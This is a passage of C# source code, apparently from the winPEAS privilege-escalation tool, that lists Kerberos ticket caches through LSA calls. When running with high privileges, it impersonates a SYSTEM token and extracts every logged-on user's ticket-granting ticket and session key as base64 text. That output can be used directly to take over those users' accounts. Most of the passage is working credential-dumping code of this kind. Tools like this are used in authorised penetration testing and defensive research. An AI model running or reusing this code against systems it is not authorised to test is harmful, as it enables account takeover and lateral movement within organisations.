partCount = Math.Ceiling((double)text.Length / partLength); if (partCount < 2) { yield return text; } for (int i = 0; i < partCount; i++) { var index = i * partLength; var lengthLeft = Math.Min(partLength, text.Length - index); var line = text.Substring(index, lengthLeft); yield return line; } } public static List> ListKerberosTickets() { if (MyUtils.IsHighIntegrity()) { return ListKerberosTicketsAllUsers(); } else { return ListKerberosTicketsCurrentUser(); } } public static List> ListKerberosTicketsAllUsers() { List> results = new List>(); // adapted partially from Vincent LE TOUX' work // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 IntPtr hLsa = LsaRegisterLogonProcessHelper(); int totalTicketCount = 0; // if the original call fails then it is likely we don't have SeTcbPrivilege // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token if (hLsa == IntPtr.Zero) { GetSystem(); // should now have the proper privileges to get a Handle to LSA hLsa = LsaRegisterLogonProcessHelper(); // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token RevertToSelf(); } try { // first return all the logon sessions DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate UInt64 count; IntPtr luidPtr = IntPtr.Zero; IntPtr iter = luidPtr; uint ret = LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs for (ulong i = 0; i < count; i++) { IntPtr sessionData; ret = LsaGetLogonSessionData(luidPtr, out sessionData); SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)); // if we have a valid logon if (data.PSiD != IntPtr.Zero) { // user session data string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim(); System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD); string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim(); string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim(); SECURITY_LOGON_TYPE logonType = (SECURITY_LOGON_TYPE)data.LogonType; DateTime logonTime = systime.AddTicks((long)data.LoginTime); string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim(); string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim(); string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim(); // now we want to get the tickets for this logon ID string name = "kerberos"; LSA_STRING_IN LSAString; LSAString.Length = (ushort)name.Length; LSAString.MaximumLength = (ushort)(name.Length + 1); LSAString.Buffer = name; IntPtr ticketPointer = IntPtr.Zero; IntPtr ticketsPointer = IntPtr.Zero; DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0); int authPack; int returnBufferLength = 0; int protocalStatus = 0; int retCode; KERB_QUERY_TKT_CACHE_REQUEST tQuery = new KERB_QUERY_TKT_CACHE_REQUEST(); KERB_QUERY_TKT_CACHE_RESPONSE tickets = new KERB_QUERY_TKT_CACHE_RESPONSE(); KERB_TICKET_CACHE_INFO ticket; // obtains the unique identifier for the kerberos authentication package. retCode = LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack); // input object for querying the ticket cache for a specific logon ID LUID userLogonID = new LUID(); userLogonID.LowPart = data.LoginID.LowPart; userLogonID.HighPart = 0; tQuery.LogonId = userLogonID; tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage; // query LSA, specifying we want the ticket cache retCode = LsaCallAuthenticationPackage(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus); /*Console.WriteLine("\r\n UserName : {0}", username); Console.WriteLine(" Domain : {0}", domain); Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart); Console.WriteLine(" UserSID : {0}", sid.AccountDomainSid); Console.WriteLine(" AuthenticationPackage : {0}", authpackage); Console.WriteLine(" LogonType : {0}", logonType); Console.WriteLine(" LogonType : {0}", logonTime); Console.WriteLine(" LogonServer : {0}", logonServer); Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName); Console.WriteLine(" UserPrincipalName : {0}\r\n", upn);*/ if (ticketPointer != IntPtr.Zero) { // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure tickets = (KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_RESPONSE)); int count2 = tickets.CountOfTickets; if (count2 != 0) { Console.WriteLine(" [*] Enumerated {0} ticket(s):\r\n", count2); totalTicketCount += count2; // get the size of the structures we're iterating over Int32 dataSize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO)); for (int j = 0; j < count2; j++) { // iterate through the structures IntPtr currTicketPtr = (IntPtr)(long)((ticketPointer.ToInt64() + (int)(8 + j * dataSize))); // parse the new ptr to the appropriate structure ticket = (KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO)); // extract our fields string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2); string realmName = Marshal.PtrToStringUni(ticket.RealmName.Buffer, ticket.RealmName.Length / 2); DateTime startTime = DateTime.FromFileTime(ticket.StartTime); DateTime endTime = DateTime.FromFileTime(ticket.EndTime); DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime); string encryptionType = ((KERB_ENCRYPTION_TYPE)ticket.EncryptionType).ToString(); string ticketFlags = ((KERB_TICKET_FLAGS)ticket.TicketFlags).ToString(); results.Add(new Dictionary() { { "UserPrincipalName", upn }, { "serverName", serverName }, { "RealmName", realmName }, { "StartTime", String.Format("{0}", startTime) }, { "EndTime", String.Format("{0}", endTime) }, { "RenewTime", String.Format("{0}", renewTime) }, { "EncryptionType", encryptionType }, { "TicketFlags", ticketFlags }, }); } } } } // move the pointer forward luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); LsaFreeReturnBuffer(sessionData); } LsaFreeReturnBuffer(luidPtr); // disconnect from LSA LsaDeregisterLogonProcess(hLsa); } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } public static List> ListKerberosTicketsCurrentUser() { List> results = new List>(); // adapted partially from Vincent LE TOUX' work // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 try { string name = "kerberos"; LSA_STRING_IN LSAString; LSAString.Length = (ushort)name.Length; LSAString.MaximumLength = (ushort)(name.Length + 1); LSAString.Buffer = name; IntPtr ticketPointer = IntPtr.Zero; IntPtr ticketsPointer = IntPtr.Zero; DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0); int authPack; int returnBufferLength = 0; int protocalStatus = 0; IntPtr lsaHandle; int retCode; // If we want to look at tickets from a session other than our own // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted retCode = LsaConnectUntrusted(out lsaHandle); KERB_QUERY_TKT_CACHE_REQUEST tQuery = new KERB_QUERY_TKT_CACHE_REQUEST(); KERB_QUERY_TKT_CACHE_RESPONSE tickets = new KERB_QUERY_TKT_CACHE_RESPONSE(); KERB_TICKET_CACHE_INFO ticket; // obtains the unique identifier for the kerberos authentication package. retCode = LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); // input object for querying the ticket cache (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request) tQuery.LogonId = new LUID(); tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage; // query LSA, specifying we want the ticket cache retCode = LsaCallAuthenticationPackage(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus); // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure tickets = (KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_RESPONSE)); int count = tickets.CountOfTickets; // get the size of the structures we're iterating over Int32 dataSize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO)); for (int i = 0; i < count; i++) { // iterate through the structures IntPtr currTicketPtr = (IntPtr)(long)((ticketPointer.ToInt64() + (int)(8 + i * dataSize))); // parse the new ptr to the appropriate structure ticket = (KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO)); // extract our fields string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2); string realmName = Marshal.PtrToStringUni(ticket.RealmName.Buffer, ticket.RealmName.Length / 2); DateTime startTime = DateTime.FromFileTime(ticket.StartTime); DateTime endTime = DateTime.FromFileTime(ticket.EndTime); DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime); string encryptionType = ((KERB_ENCRYPTION_TYPE)ticket.EncryptionType).ToString(); string ticketFlags = ((KERB_TICKET_FLAGS)ticket.TicketFlags).ToString(); results.Add(new Dictionary() { { "serverName", serverName }, { "RealmName", realmName }, { "StartTime", String.Format("{0}", startTime) }, { "EndTime", String.Format("{0}", endTime) }, { "RenewTime", String.Format("{0}", renewTime) }, { "EncryptionType", encryptionType }, { "TicketFlags", ticketFlags }, }); } // disconnect from LSA LsaDeregisterLogonProcess(lsaHandle); } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } public static List> GetKerberosTGTData() { if (MyUtils.IsHighIntegrity()) { return ListKerberosTGTDataAllUsers(); } else { return ListKerberosTGTDataCurrentUser(); } } public static List> ListKerberosTGTDataAllUsers() { List> results = new List>(); // adapted partially from Vincent LE TOUX' work // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 IntPtr hLsa = LsaRegisterLogonProcessHelper(); int totalTicketCount = 0; // if the original call fails then it is likely we don't have SeTcbPrivilege // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token if (hLsa == IntPtr.Zero) { GetSystem(); // should now have the proper privileges to get a Handle to LSA hLsa = LsaRegisterLogonProcessHelper(); // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token RevertToSelf(); } try { // first return all the logon sessions DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate UInt64 count; IntPtr luidPtr = IntPtr.Zero; IntPtr iter = luidPtr; uint ret = LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs for (ulong i = 0; i < count; i++) { IntPtr sessionData; ret = LsaGetLogonSessionData(luidPtr, out sessionData); SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)); // if we have a valid logon if (data.PSiD != IntPtr.Zero) { // user session data string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim(); System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD); string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim(); string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim(); SECURITY_LOGON_TYPE logonType = (SECURITY_LOGON_TYPE)data.LogonType; DateTime logonTime = systime.AddTicks((long)data.LoginTime); string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim(); string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim(); string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim(); // now we want to get the tickets for this logon ID string name = "kerberos"; LSA_STRING_IN LSAString; LSAString.Length = (ushort)name.Length; LSAString.MaximumLength = (ushort)(name.Length + 1); LSAString.Buffer = name; IntPtr responsePointer = IntPtr.Zero; int authPack; int returnBufferLength = 0; int protocalStatus = 0; int retCode; KERB_RETRIEVE_TKT_REQUEST tQuery = new KERB_RETRIEVE_TKT_REQUEST(); KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE(); // obtains the unique identifier for the kerberos authentication package. retCode = LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack); // input object for querying the TGT for a specific logon ID (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request) LUID userLogonID = new LUID(); userLogonID.LowPart = data.LoginID.LowPart; userLogonID.HighPart = 0; tQuery.LogonId = userLogonID; tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage; // indicate we want kerb creds yo' tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED; // query LSA, specifying we want the the TGT data retCode = LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus); if ((retCode) == 0 && (responsePointer != IntPtr.Zero)) { /*Console.WriteLine("\r\n UserName : {0}", username); Console.WriteLine(" Domain : {0}", domain); Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart); Console.WriteLine(" UserSID : {0}", sid.AccountDomainSid); Console.WriteLine(" AuthenticationPackage : {0}", authpackage); Console.WriteLine(" LogonType : {0}", logonType); Console.WriteLine(" LogonType : {0}", logonTime); Console.WriteLine(" LogonServer : {0}", logonServer); Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName); Console.WriteLine(" UserPrincipalName : {0}", upn);*/ // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE)); KERB_EXTERNAL_NAME serviceNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME)); string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); string targetName = ""; if (response.Ticket.TargetName != IntPtr.Zero) { KERB_EXTERNAL_NAME targetNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME)); targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); } KERB_EXTERNAL_NAME clientNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME)); string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim(); string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim(); // extract the session key KERB_ENCRYPTION_TYPE sessionKeyType = (KERB_ENCRYPTION_TYPE)response.Ticket.SessionKey.KeyType; Int32 sessionKeyLength = response.Ticket.SessionKey.Length; byte[] sessionKey = new byte[sessionKeyLength]; Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); string base64SessionKey = Convert.ToBase64String(sessionKey); DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime); DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime); DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime); DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil); Int64 timeSkew = response.Ticket.TimeSkew; Int32 encodedTicketSize = response.Ticket.EncodedTicketSize; string ticketFlags = ((KERB_TICKET_FLAGS)response.Ticket.TicketFlags).ToString(); // extract the TGT and base64 encode it byte[] encodedTicket = new byte[encodedTicketSize]; Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize); string base64TGT = Convert.ToBase64String(encodedTicket); results.Add(new Dictionary() { { "UserPrincipalName", upn }, { "ServiceName", serviceName }, { "TargetName", targetName }, { "ClientName", clientName }, { "DomainName", domainName }, { "TargetDomainName", targetDomainName }, { "SessionKeyType", String.Format("{0}", sessionKeyType) }, { "Base64SessionKey", base64SessionKey }, { "KeyExpirationTime", String.Format("{0}", keyExpirationTime) }, { "TicketFlags", ticketFlags }, { "StartTime", String.Format("{0}", startTime) }, { "EndTime", String.Format("{0}", endTime) }, { "RenewUntil", String.Format("{0}", renewUntil) }, { "TimeSkew", String.Format("{0}", timeSkew) }, { "EncodedTicketSize", String.Format("{0}", encodedTicketSize) }, { "Base64EncodedTicket", base64TGT }, }); totalTicketCount++; } } luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); //move the pointer forward LsaFreeReturnBuffer(sessionData); //free the SECURITY_LOGON_SESSION_DATA memory in the struct } LsaFreeReturnBuffer(luidPtr); //free the array of LUIDs // disconnect from LSA LsaDeregisterLogonProcess(hLsa); } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } public static List> ListKerberosTGTDataCurrentUser() { List> results = new List>(); // adapted partially from Vincent LE TOUX' work // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 try { string name = "kerberos"; LSA_STRING_IN LSAString; LSAString.Length = (ushort)name.Length; LSAString.MaximumLength = (ushort)(name.Length + 1); LSAString.Buffer = name; IntPtr responsePointer = IntPtr.Zero; int authPack; int returnBufferLength = 0; int protocalStatus = 0; IntPtr lsaHandle; int retCode; // If we want to look at tickets from a session other than our own // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted retCode = LsaConnectUntrusted(out lsaHandle); KERB_RETRIEVE_TKT_REQUEST tQuery = new KERB_RETRIEVE_TKT_REQUEST(); KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE(); // obtains the unique identifier for the kerberos authentication package. retCode = LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); // input object for querying the TGT (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request) tQuery.LogonId = new LUID(); tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage; // indicate we want kerb creds yo' //tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED; // query LSA, specifying we want the the TGT data retCode = LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus); // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure response = (KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(KERB_RETRIEVE_TKT_RESPONSE)); KERB_EXTERNAL_NAME serviceNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(KERB_EXTERNAL_NAME)); string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); string targetName = ""; if (response.Ticket.TargetName != IntPtr.Zero) { KERB_EXTERNAL_NAME targetNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(KERB_EXTERNAL_NAME)); targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); } KERB_EXTERNAL_NAME clientNameStruct = (KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(KERB_EXTERNAL_NAME)); string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim(); string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); string altTargetDomainName = Marshal.PtrToStringUni(response.Ticket.AltTargetDomainName.Buffer, response.Ticket.AltTargetDomainName.Length / 2).Trim(); // extract the session key KERB_ENCRYPTION_TYPE sessionKeyType = (KERB_ENCRYPTION_TYPE)response.Ticket.SessionKey.KeyType; Int32 sessionKeyLength = response.Ticket.SessionKey.Length; byte[] sessionKey = new byte[sessionKeyLength]; Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); string base64SessionKey = Convert.ToBase64String(sessionKey); DateTime keyExpirationTime = DateTime.FromFileTime(response.Ticket.KeyExpirationTime); DateTime startTime = DateTime.FromFileTime(response.Ticket.StartTime); DateTime endTime = DateTime.FromFileTime(response.Ticket.EndTime); DateTime renewUntil = DateTime.FromFileTime(response.Ticket.RenewUntil); Int64 timeSkew = response.Ticket.TimeSkew; Int32 encodedTicketSize = response.Ticket.EncodedTicketSize; string ticketFlags = ((KERB_TICKET_FLAGS)response.Ticket.TicketFlags).ToString(); // extract the TGT and base64 encode it byte[] encodedTicket = new byte[encodedTicketSize]; Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, encodedTicketSize); string base64TGT = Convert.ToBase64String(encodedTicket); results.Add(new Dictionary() { { "ServiceName", serviceName }, { "TargetName", targetName }, { "ClientName", clientName }, { "DomainName", domainName }, { "TargetDomainName", targetDomainName }, { "SessionKeyType", String.Format("{0}", sessionKeyType) }, { "Base64SessionKey", base64SessionKey }, { "KeyExpirationTime", String.Format("{0}", keyExpirationTime) }, { "TicketFlags", ticketFlags }, { "StartTime", String.Format("{0}", startTime) }, { "EndTime", String.Format("{0}", endTime) }, { "RenewUntil", String.Format("{0}", renewUntil) }, { "TimeSkew", String.Format("{0}", timeSkew) }, { "EncodedTicketSize", String.Format("{0}", encodedTicketSize) }, { "Base64EncodedTicket", base64TGT }, }); // disconnect from LSA LsaDeregisterLogonProcess(lsaHandle); } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return results; } } }